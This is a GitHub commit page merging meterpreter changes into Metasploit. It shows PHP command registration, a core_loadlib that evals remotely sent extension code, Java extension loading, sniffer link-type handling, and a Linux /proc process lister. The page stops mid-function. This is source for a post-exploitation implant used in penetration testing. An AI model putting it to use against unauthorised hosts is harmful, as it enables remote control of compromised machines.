Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

Merge pull request #390 from jlee-r7/consolidate-250-254-375

Consolidate #250, #254, #375
  • Loading branch information...
commit fe7928c18d89f96e163cfce8e983bb43ef141f7d 2 parents 336a00b + de22d76
@jlee-r7 jlee-r7 authored
Showing with 981 additions and 455 deletions.
  1. BIN  data/meterpreter/elevator.dll
  2. BIN  data/meterpreter/elevator.x64.dll
  3. BIN  data/meterpreter/ext_server_espia.dll
  4. BIN  data/meterpreter/ext_server_espia.x64.dll
  5. BIN  data/meterpreter/ext_server_incognito.dll
  6. BIN  data/meterpreter/ext_server_incognito.x64.dll
  7. BIN  data/meterpreter/ext_server_lanattacks.dll
  8. BIN  data/meterpreter/ext_server_lanattacks.x64.dll
  9. BIN  data/meterpreter/ext_server_networkpug.lso
  10. BIN  data/meterpreter/ext_server_priv.dll
  11. BIN  data/meterpreter/ext_server_priv.x64.dll
  12. BIN  data/meterpreter/ext_server_sniffer.lso
  13. BIN  data/meterpreter/ext_server_stdapi.dll
  14. 0  data/meterpreter/ext_server_stdapi.jar
  15. BIN  data/meterpreter/ext_server_stdapi.lso
  16. +48 −17 data/meterpreter/ext_server_stdapi.php
  17. BIN  data/meterpreter/ext_server_stdapi.x64.dll
  18. BIN  data/meterpreter/meterpreter.jar
  19. +21 −3 data/meterpreter/meterpreter.php
  20. BIN  data/meterpreter/metsrv.dll
  21. BIN  data/meterpreter/metsrv.x64.dll
  22. BIN  data/meterpreter/msflinker_linux_x86.bin
  23. BIN  data/meterpreter/screenshot.dll
  24. BIN  data/meterpreter/screenshot.x64.dll
  25. +18 −1 external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/CommandManager.java
  26. +4 −2 external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java
  27. +6 −2 external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/core/core_loadlib.java
  28. +9 −9 external/source/meterpreter/source/common/base.c
  29. +6 −0 external/source/meterpreter/source/extensions/sniffer/sniffer.c
  30. +1 −0  external/source/meterpreter/source/extensions/sniffer/sniffer.h
  31. +3 −3 external/source/meterpreter/source/extensions/stdapi/server/net/config/interface.c
  32. +2 −0  external/source/meterpreter/source/extensions/stdapi/server/stdapi.c
  33. +5 −3 external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c
  34. +336 −57 external/source/meterpreter/source/extensions/stdapi/server/sys/process/ps.c
  35. +11 −4 external/source/meterpreter/source/extensions/stdapi/server/sys/process/ps.h
  36. +2 −1  external/source/meterpreter/source/server/linux/netlink.c
  37. +9 −1 external/source/meterpreter/source/server/posix/remote_dispatch.c
  38. +10 −0 external/source/meterpreter/source/server/win/remote_dispatch.c
  39. +1 −0  external/source/meterpreter/workspace/ext_server_stdapi/Makefile
  40. +63 −53 lib/msf/core/post/file.rb
  41. +75 −128 lib/msf/core/post/linux/system.rb
  42. +16 −46 lib/msf/core/post/solaris/system.rb
  43. +22 −1 lib/rex/post/meterpreter/client.rb
  44. +9 −5 lib/rex/post/meterpreter/client_core.rb
  45. +11 −10 lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb
  46. +42 −4 lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
  47. +8 −2 lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
  48. +2 −2 lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb
  49. +52 −20 lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
  50. +28 −1 lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb
  51. +62 −43 lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
  52. +35 −5 lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb
  53. +19 −1 lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
  54. +9 −0 lib/rex/text.rb
  55. +11 −9 modules/auxiliary/server/browser_autopwn.rb
  56. +3 −0  modules/exploits/multi/browser/java_rhino.rb
  57. +4 −11 modules/post/osx/gather/enum_adium.rb
  58. +1 −1  test/modules/post/test/file.rb
  59. +16 −9 test/modules/post/test/meterpreter.rb
  60. +1 −1  test/modules/post/test/unix.rb
View
BIN  data/meterpreter/elevator.dll
Binary file not shown
View
BIN  data/meterpreter/elevator.x64.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_espia.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_espia.x64.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_incognito.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_incognito.x64.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_lanattacks.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_lanattacks.x64.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_networkpug.lso
Binary file not shown
View
BIN  data/meterpreter/ext_server_priv.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_priv.x64.dll
Binary file not shown
View
BIN  data/meterpreter/ext_server_sniffer.lso
Binary file not shown
View
BIN  data/meterpreter/ext_server_stdapi.dll
Binary file not shown
View
0  data/meterpreter/ext_server_stdapi.jar 100755 → 100644
File mode changed
View
BIN  data/meterpreter/ext_server_stdapi.lso
Binary file not shown
View
65 data/meterpreter/ext_server_stdapi.php
@@ -283,6 +283,7 @@ function cononicalize_path($path) {
# traditionally used this to get environment variables from the server.
#
if (!function_exists('stdapi_fs_file_expand_path')) {
+register_command('stdapi_fs_file_expand_path');
function stdapi_fs_file_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -320,18 +321,8 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
}
}
-
-if (!function_exists('stdapi_fs_mkdir')) {
-function stdapi_fs_mkdir($req, &$pkt) {
- my_print("doing mkdir");
- $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
- $ret = mkdir(cononicalize_path($path_tlv['value']),0777);
- return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
-}
-}
-
-
if (!function_exists('stdapi_fs_delete_dir')) {
+register_command('stdapi_fs_delete_dir');
function stdapi_fs_delete_dir($req, &$pkt) {
my_print("doing rmdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -340,9 +331,19 @@ function stdapi_fs_delete_dir($req, &$pkt) {
}
}
+if (!function_exists('stdapi_fs_mkdir')) {
+register_command('stdapi_fs_mkdir');
+function stdapi_fs_mkdir($req, &$pkt) {
+ my_print("doing mkdir");
+ $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
+ $ret = @mkdir(cononicalize_path($path_tlv['value']));
+ return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
+}
+}
# works
if (!function_exists('stdapi_fs_chdir')) {
+register_command('stdapi_fs_chdir');
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -353,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete')) {
+register_command('stdapi_fs_delete');
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
@@ -363,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_getwd')) {
+register_command('stdapi_fs_getwd');
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
@@ -373,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
+register_command('stdapi_fs_ls');
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -413,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
}
if (!function_exists('stdapi_fs_separator')) {
+register_command('stdapi_fs_separator');
function stdapi_fs_separator($req, &$pkt) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
return ERROR_SUCCESS;
@@ -420,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
}
if (!function_exists('stdapi_fs_stat')) {
+register_command('stdapi_fs_stat');
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -452,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete_file')) {
+register_command('stdapi_fs_delete_file');
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -467,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
}
if (!function_exists('stdapi_fs_search')) {
+register_command('stdapi_fs_search');
function stdapi_fs_search($req, &$pkt) {
my_print("doing search");
@@ -506,6 +514,7 @@ function stdapi_fs_search($req, &$pkt) {
if (!function_exists('stdapi_fs_md5')) {
+register_command("stdapi_fs_md5");
function stdapi_fs_md5($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
@@ -524,6 +533,7 @@ function stdapi_fs_md5($req, &$pkt) {
if (!function_exists('stdapi_fs_sha1')) {
+register_command("stdapi_fs_sha1");
function stdapi_fs_sha1($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
@@ -545,6 +555,7 @@ function stdapi_fs_sha1($req, &$pkt) {
# works
if (!function_exists('stdapi_sys_config_getuid')) {
+register_command('stdapi_sys_config_getuid');
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
@@ -563,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
}
# Unimplemented becuase it's unimplementable
-if (!function_exists('stdapi_sys_config_rev2self')) {
-function stdapi_sys_config_rev2self($req, &$pkt) {
- my_print("doing rev2self");
- return ERROR_FAILURE;
-}
-}
+#if (!function_exists('stdapi_sys_config_rev2self')) {
+#register_command('stdapi_sys_config_rev2self');
+#function stdapi_sys_config_rev2self($req, &$pkt) {
+# my_print("doing rev2self");
+# return ERROR_FAILURE;
+#}
+#}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
+register_command('stdapi_sys_config_sysinfo');
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
@@ -584,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
$GLOBALS['processes'] = array();
if (!function_exists('stdapi_sys_process_execute')) {
+register_command('stdapi_sys_process_execute');
function stdapi_sys_process_execute($req, &$pkt) {
global $channel_process_map, $processes;
@@ -658,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
if (!function_exists('stdapi_sys_process_close')) {
+register_command('stdapi_sys_process_close');
function stdapi_sys_process_close($req, &$pkt) {
global $processes;
my_print("doing process_close");
@@ -711,6 +726,7 @@ function close_process($proc) {
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
+register_command('stdapi_sys_process_get_processes');
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
@@ -760,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
# works
if (!function_exists('stdapi_sys_process_getpid')) {
+register_command('stdapi_sys_process_getpid');
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
@@ -768,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
}
if (!function_exists('stdapi_sys_process_kill')) {
+register_command('stdapi_sys_process_kill');
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
@@ -798,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
+register_command('stdapi_net_socket_tcp_shutdown');
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
my_print("doing stdapi_net_socket_tcp_shutdown");
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
@@ -838,6 +857,9 @@ function deregister_registry_key($id) {
if (!function_exists('stdapi_registry_create_key')) {
+if (is_windows() and is_callable('reg_open_key')) {
+ register_command('stdapi_registry_create_key');
+}
function stdapi_registry_create_key($req, &$pkt) {
my_print("doing stdapi_registry_create_key");
if (is_windows() and is_callable('reg_open_key')) {
@@ -871,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_close_key')) {
+if (is_windows() and is_callable('reg_open_key')) {
+ register_command('stdapi_registry_close_key');
+}
function stdapi_registry_close_key($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -889,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_query_value')) {
+if (is_windows() and is_callable('reg_open_key')) {
+ register_command('stdapi_registry_query_value');
+}
function stdapi_registry_query_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -926,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
}
if (!function_exists('stdapi_registry_set_value')) {
+if (is_windows() and is_callable('reg_open_key')) {
+ register_command('stdapi_registry_set_value');
+}
function stdapi_registry_set_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
View
BIN  data/meterpreter/ext_server_stdapi.x64.dll
Binary file not shown
View
BIN  data/meterpreter/meterpreter.jar 100755 → 100644
Binary file not shown
View
24 data/meterpreter/meterpreter.php
@@ -30,6 +30,18 @@
$GLOBALS['readers'] = array();
}
+# global list of extension commands
+if (!isset($GLOBALS['commands'])) {
+ $GLOBALS['commands'] = array("core_loadlib");
+}
+
+function register_command($c) {
+ global $commands;
+ if (! in_array($c, $commands)) {
+ array_push($commands, $c);
+ }
+}
+
function my_print($str) {
#error_log($str);
}
@@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
# isn't compressed before eval'ing it
# TODO: check for zlib support and decompress if possible
function core_loadlib($req, &$pkt) {
+ global $commands;
my_print("doing core_loadlib");
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
return ERROR_FAILURE;
- } else {
- eval($data_tlv['value']);
- return ERROR_SUCCESS;
}
+ $tmp = $commands;
+ eval($data_tlv['value']);
+ $new = array_diff($commands, $tmp);
+ foreach ($new as $meth) {
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
+ }
+
+ return ERROR_SUCCESS;
}
View
BIN  data/meterpreter/metsrv.dll
Binary file not shown
View
BIN  data/meterpreter/metsrv.x64.dll
Binary file not shown
View
BIN  data/meterpreter/msflinker_linux_x86.bin
Binary file not shown
View
BIN  data/meterpreter/screenshot.dll
Binary file not shown
View
BIN  data/meterpreter/screenshot.x64.dll
Binary file not shown
View
19 external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/CommandManager.java
@@ -2,6 +2,7 @@
import java.util.HashMap;
import java.util.Map;
+import java.util.Vector;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
@@ -16,6 +17,7 @@
private final int javaVersion;
private Map/* <String,Command> */registeredCommands = new HashMap();
+ private Vector/* <String> */newCommands = new Vector();
protected CommandManager() throws Exception {
// get the API version, which might be different from the
@@ -97,6 +99,7 @@ public void registerCommand(String command, Class commandClass, int version, int
}
Command cmd = (Command) commandClass.newInstance();
registeredCommands.put(command, cmd);
+ newCommands.add(command);
}
/**
@@ -108,4 +111,18 @@ public Command getCommand(String name) {
cmd = NotYetImplementedCommand.INSTANCE;
return cmd;
}
-}
+
+ /**
+ * Reset the list of commands loaded by the last core_loadlib call
+ */
+ public void resetNewCommands() {
+ newCommands.clear();
+ }
+
+ /**
+ * Retrieves the list of commands loaded by the last core_loadlib call
+ */
+ public String[] getNewCommands() {
+ return (String[]) newCommands.toArray(new String[newCommands.size()]);
+ }
+}
View
6 external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java
@@ -322,7 +322,7 @@ public void writeRequestPacket(String method, TLVPacket tlv) throws IOException
* @param data
* The extension jar's content as a byte array
*/
- public void loadExtension(byte[] data) throws Exception {
+ public String[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
if (loadExtensions) {
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
@@ -331,6 +331,8 @@ public void loadExtension(byte[] data) throws Exception {
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
+ commandManager.resetNewCommands();
loader.load(commandManager);
+ return commandManager.getNewCommands();
}
-}
+}
View
8 external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/core/core_loadlib.java
@@ -9,7 +9,11 @@
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
- meterpreter.loadExtension(data);
+ String[] commands = meterpreter.loadExtension(data);
+ for (int i = 0; i < commands.length; i++) {
+ response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
+ }
+
return ERROR_SUCCESS;
}
-}
+}
View
18 external/source/meterpreter/source/common/base.c
@@ -116,7 +116,7 @@ Command commands[] =
};
// Dynamically registered command extensions
-Command *extensionList = NULL;
+Command *extension_commands = NULL;
/*
* Dynamically register a custom command handler
@@ -133,13 +133,13 @@ DWORD command_register(Command *command)
memcpy(newCommand, command, sizeof(Command));
dprintf("Setting new command...");
- if (extensionList)
- extensionList->prev = newCommand;
+ if (extension_commands)
+ extension_commands->prev = newCommand;
dprintf("Fixing next/prev...");
- newCommand->next = extensionList;
+ newCommand->next = extension_commands;
newCommand->prev = NULL;
- extensionList = newCommand;
+ extension_commands = newCommand;
dprintf("Done...");
return ERROR_SUCCESS;
@@ -154,7 +154,7 @@ DWORD command_deregister(Command *command)
DWORD res = ERROR_NOT_FOUND;
// Search the extension list for the command
- for (current = extensionList, prev = NULL;
+ for (current = extension_commands, prev = NULL;
current;
prev = current, current = current->next)
{
@@ -164,7 +164,7 @@ DWORD command_deregister(Command *command)
if (prev)
prev->next = current->next;
else
- extensionList = current->next;
+ extension_commands = current->next;
if (current->next)
current->next->prev = prev;
@@ -288,7 +288,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
}
// Regardless of error code, try to see if someone has overriden a base handler
- for( current = extensionList, result = ERROR_NOT_FOUND ;
+ for( current = extension_commands, result = ERROR_NOT_FOUND ;
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
{
if( strcmp( current->method, method ) )
@@ -373,7 +373,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
// Regardless of error code, try to see if someone has overriden
// a base handler
- for (current = extensionList, res = ERROR_NOT_FOUND;
+ for (current = extension_commands, res = ERROR_NOT_FOUND;
res == ERROR_NOT_FOUND && current && current->method;
current = current->next)
{
View
6 external/source/meterpreter/source/extensions/sniffer/sniffer.c
@@ -599,6 +599,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
result = hErr;
break;
}
+ j->capture_linktype = 1; // LINKTYPE_ETHERNET forced on windows
#else
name = get_interface_name_by_index(ifh);
@@ -612,6 +613,9 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
result = EACCES;
break;
}
+ j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file
+ if (-1 == j->capture_linktype)
+ j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error
if(packet_filter) {
struct bpf_program bpf;
@@ -1019,6 +1023,8 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
+ // add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type
+ packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
dprintf("sniffer>> finished processing packets");
View
1  external/source/meterpreter/source/extensions/sniffer/sniffer.h
@@ -35,6 +35,7 @@ typedef struct capturejob
unsigned char *dbuf;
unsigned int dlen;
unsigned int didx;
+ int capture_linktype; //current capture link type that we want to save, ie. LINKTYPE_ETHERNET
#ifndef _WIN32
THREAD *thread;
pcap_t *pcap;
View
6 external/source/meterpreter/source/extensions/stdapi/server/net/config/interface.c
@@ -314,9 +314,9 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
tlv_cnt++;
for (j = 0; j < ifaces->ifaces[i].addr_count; j++) {
- if (allocd_entries < tlv_cnt+3) {
- entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
- allocd_entries += 3;
+ if (allocd_entries < tlv_cnt+2) {
+ entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+2));
+ allocd_entries += 2;
}
if (ifaces->ifaces[i].addr_list[j].family == AF_INET) {
dprintf("ip addr for %s", ifaces->ifaces[i].name);
View
2  external/source/meterpreter/source/extensions/stdapi/server/stdapi.c
@@ -296,6 +296,7 @@ Command customCommands[] =
{ request_sys_config_getprivs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
+#ifdef _WIN32
{ "stdapi_sys_config_steal_token",
{ request_sys_config_steal_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
@@ -304,6 +305,7 @@ Command customCommands[] =
{ request_sys_config_drop_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
+#endif
// Net
View
8 external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c
@@ -1,7 +1,7 @@
#include "precomp.h"
+#include "ps.h" // include the code for listing proceses
#ifdef _WIN32
-#include "ps.h" // include the code for listing proceses
#include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
@@ -859,8 +859,10 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
#else
DWORD result = ERROR_NOT_SUPPORTED;
Packet * response = packet_create_response( packet );
-
- packet_transmit_response( result, remote, response );
+ if (response) {
+ result = ps_list_linux( response );
+ packet_transmit_response( result, remote, response );
+ }
#endif
return result;
View
393 external/source/meterpreter/source/extensions/stdapi/server/sys/process/ps.c
@@ -1,5 +1,8 @@
#include "precomp.h"
#include "ps.h"
+
+#ifdef _WIN32
+
#include "./../session.h"
#include "./../../../../../common/arch/win/i386/base_inject.h"
@@ -394,64 +397,7 @@ BOOL ps_getusername( DWORD pid, char * cpUserName, DWORD dwUserNameSize )
return success;
}
-/*
- * Add the details of a process to the response.
- */
-VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
-{
- Tlv entries[7] = {0};
- DWORD dwSessionId = 0;
- do
- {
- if( !response )
- break;
-
- dwSessionId = session_id( dwPid );
-
- dwPid = htonl( dwPid );
- entries[0].header.type = TLV_TYPE_PID;
- entries[0].header.length = sizeof( DWORD );
- entries[0].buffer = (PUCHAR)&dwPid;
-
- if( !cpExeName )
- cpExeName = "";
- entries[1].header.type = TLV_TYPE_PROCESS_NAME;
- entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
- entries[1].buffer = cpExeName;
-
- if( !cpExePath )
- cpExePath = "";
- entries[2].header.type = TLV_TYPE_PROCESS_PATH;
- entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
- entries[2].buffer = cpExePath;
-
- if( !cpUserName )
- cpUserName = "";
- entries[3].header.type = TLV_TYPE_USER_NAME;
- entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
- entries[3].buffer = cpUserName;
-
- dwProcessArch = htonl( dwProcessArch );
- entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
- entries[4].header.length = sizeof( DWORD );
- entries[4].buffer = (PUCHAR)&dwProcessArch;
-
- dwParentPid = htonl( dwParentPid );
- entries[5].header.type = TLV_TYPE_PARENT_PID;
- entries[5].header.length = sizeof( DWORD );
- entries[5].buffer = (PUCHAR)&dwParentPid;
-
- dwSessionId = htonl( dwSessionId );
- entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
- entries[6].header.length = sizeof( DWORD );
- entries[6].buffer = (PUCHAR)&dwSessionId;
-
- packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
-
- } while(0);
-
-}
/*
* Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 2000 and above.
@@ -632,3 +578,336 @@ DWORD ps_list_via_brute( Packet * response )
return result;
}
+
+#else // linux part
+
+/*
+ * linux specific ps command and structures
+ */
+
+
+#include <stdio.h>
+#include <ctype.h>
+#include <sys/types.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <string.h>
+
+#define NAME "Name:\t"
+#define STATE "State:\t"
+#define UID "Uid:\t"
+#define PPID "PPid:\t"
+
+struct info_process {
+ char name[60];
+ char state[2];
+ int uid;
+ int ppid;
+};
+
+struct info_user {
+ char name[40];
+ int uid;
+};
+
+struct info_user_list {
+ int count_max;
+ int count_current;
+ struct info_user * list;
+};
+
+int read_file(FILE * fd, char * buffer, int buffer_len) {
+ int read = 0;
+ while (!feof(fd) && !ferror(fd) && read < buffer_len - 1)
+ read += fread(buffer+read, 1, 1024, fd);
+
+ buffer[read] = 0;
+ return read;
+
+}
+
+void parse_status(char * buffer, struct info_process * info) {
+ char * str;
+ str = strtok(buffer, "\n");
+
+
+ memset(info, 0, sizeof(*info));
+
+ while (str != NULL) {
+ if ( strncmp(str, NAME, strlen(NAME)) == 0 )
+ strncpy(info->name, str+strlen(NAME), sizeof(info->name)-1);
+
+ if ( strncmp(str, STATE, strlen(STATE)) == 0 ) {
+ strncpy(info->state, str+strlen(STATE), 1); // want only 1 char
+ }
+
+ if ( strncmp(str, UID, strlen(UID)) == 0 )
+ info->uid = atoi(str+strlen(UID));
+
+ if ( strncmp(str, PPID, strlen(PPID)) == 0 )
+ info->ppid = atoi(str+strlen(PPID));
+
+ str = strtok(NULL, "\n");
+ }
+
+}
+
+void add_user_to_list(struct info_user_list * user_list, char * username, int uid) {
+ if(user_list->count_max <= user_list->count_current) {
+ user_list->list = realloc(user_list->list, sizeof(struct info_user) * (user_list->count_current+3));
+ user_list->count_max = user_list->count_current+3;
+ }
+ memset(&user_list->list[user_list->count_current], 0, sizeof(struct info_user));
+ strncpy(user_list->list[user_list->count_current].name, username, sizeof(user_list->list[user_list->count_current].name) - 1);
+ user_list->list[user_list->count_current].uid = uid;
+
+ user_list->count_current++;
+ return;
+}
+
+// parse password to get username/uid association
+int parse_passwd_file(char * passwd_filename, struct info_user_list ** user_list) {
+ FILE * fd;
+ struct info_user_list * tmp;
+ char buffer[2048];
+ char tmp_username[40];
+ char * str;
+ int tmp_uid;
+
+ fd = fopen(passwd_filename, "r");
+ if (!fd)
+ return -1;
+
+ tmp = (struct info_user_list *)malloc(sizeof(struct info_user_list));
+ if (!tmp)
+ return -1;
+
+ // allocate some space for 10 users
+ tmp->list = (struct info_user *)malloc(sizeof(struct info_user) * 10);
+ if (!tmp->list) {
+ free(tmp);
+ return -1;
+ }
+ tmp->count_max = 10;
+ tmp->count_current = 0;
+
+ while(!feof(fd) && !ferror(fd)) {
+ // read 1 line at a time
+ if (fgets(buffer, sizeof(buffer)-1, fd) != NULL) {
+ str = strtok(buffer, ":");
+ if (str) {
+ // first member before : is username
+ memset(tmp_username, 0, sizeof(tmp_username));
+ strncpy(tmp_username, str, sizeof(tmp_username)-1);
+ str = strtok(NULL, ":");
+ if(!str) // bad line, doesn't contain more than 1 time ":"
+ continue;
+ str = strtok(NULL, ":");
+ if(!str) // bad line, doesn't contain more than 2 times ":"
+ continue;
+ // str points to uid
+ tmp_uid = atoi(str);
+ add_user_to_list(tmp, tmp_username, tmp_uid);
+
+ }
+ }
+
+ }
+
+ *user_list = tmp;
+ fclose(fd);
+ return 0;
+}
+
+void uid_to_username(struct info_user_list * user_list, int uid, char * username, int username_buffer_length) {
+ int i;
+
+ memset(username, 0, username_buffer_length);
+ for (i=0; i<user_list->count_current; i++) {
+ if (user_list->list[i].uid == uid) {
+ strncpy(username, user_list->list[i].name, username_buffer_length-1);
+ return;
+ }
+ }
+ // fallback if we didn't find the username
+ snprintf(username, username_buffer_length-1, "%d", uid);
+ return ;
+}
+
+/*
+ * Generate a process list by parsing /proc/<pid> directories
+ * linux specific
+ */
+DWORD ps_list_linux( Packet * response )
+{
+ DWORD result = ERROR_NOT_SUPPORTED;
+ DIR * dir;
+ int i;
+ int read;
+ struct dirent * entry;
+ struct stat stat_buf;
+ char is_process_dir;
+ char file_path[50];
+ char file_buffer[2048];
+ char username[40];
+ char process_name[50];
+ char * cmdline;
+ FILE * fd;
+ struct info_process info;
